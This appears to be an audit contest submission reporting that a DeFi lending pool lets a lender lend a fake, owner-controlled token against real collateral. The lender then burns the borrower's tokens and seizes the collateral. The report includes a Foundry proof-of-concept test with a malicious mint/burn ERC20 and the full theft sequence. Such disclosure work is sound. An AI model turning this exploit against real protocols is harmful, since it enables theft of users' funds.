20,000 USDC
View results
Submission Details
Severity: high

Malicious lender can seize borrowers collateral by using fake token

Summary

When lender creates new pool, he can use arbitrary erc20 compliant token. By creating fake version of some known token like WETH, he can provide it to user for collateral of real WETH. After borrower provides collateral, attacker can seize it.

Vulnerability Details

Anyone can create pool with any token. This gives hackers an option to provide fake priceless tokens for real valuable tokens as collateral.

Malicious lender creates fake WETH. He is the owner and can burn and mint as he wishes.

This lender creates pool to lend fake WETH and accepts real WETH as collateral with low fees to lure in unsuspecting users.

User borrows this fake token and provides collateral.

Attacker burns borrower's tokens so he can't repay loan and starts auction. Nobody can buy the loan from him, because only he possesses this fake WETH.

Attacker can seize collateral after time for auction ends.

POC

I created a simplified version of this attack. It can be run in Lender.t.sol.

Run this test with this command:

forge test --match-contract LenderTest --match-test test_maliciousLenderStealsCollateral
contract MERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Malicious ERC20";
}
function symbol() public pure override returns (string memory) {
return "MERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
function burn(address _from) public {
_burn(_from, balanceOf(_from));
}
}
function test_maliciousLenderStealsCollateral() public {
// attacker creates malicious token
address attacker = address(0x5);
vm.startPrank(attacker);
MERC20 maliciousLoanToken = new MERC20();
maliciousLoanToken.mint(attacker, 1000*10**18);
maliciousLoanToken.approve(address(lender), 1000*10**18);
// attacker creates pool
Pool memory p = Pool({
lender: attacker,
loanToken: address(maliciousLoanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
vm.stopPrank();
// borrower borrows
vm.startPrank(borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100*10**18,
collateral: 100*10**18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
vm.stopPrank();
// attacker burns borrowers tokens so he can't repay
vm.startPrank(attacker);
maliciousLoanToken.burn(borrower);
// attacker starts auction but no one can buy because no one has his malicious token
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
// attacker seizes loan collateral
uint attackerCollateralTokenBefore = collateralToken.balanceOf(attacker);
vm.warp(block.timestamp + 2 days);
lender.seizeLoan(loanIds);
uint attackerCollateralTokenAfter = collateralToken.balanceOf(attacker);
uint fee = (lender.borrowerFee() * borrows[0].collateral) / 10000;
uint collateralSeized = borrows[0].collateral - fee;
// attacker siezed borrowers collateral
assertEq(collateralSeized, attackerCollateralTokenAfter - attackerCollateralTokenBefore);
// borrower has zero malicious tokens
assertEq(maliciousLoanToken.balanceOf(borrower), 0);
vm.stopPrank();
}

Impact

The unsuspecting borrower gets his collateral stolen.

Tools Used

Manual review

Recommendations

Implement whitelist of allowed tokens for loaned tokens.

If you don't want to whitelist tokens, create functionality for borrower to be able to defend themselves. Some way to raise a dispute or make sure on the front end that they know that loaned token isn't okay.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.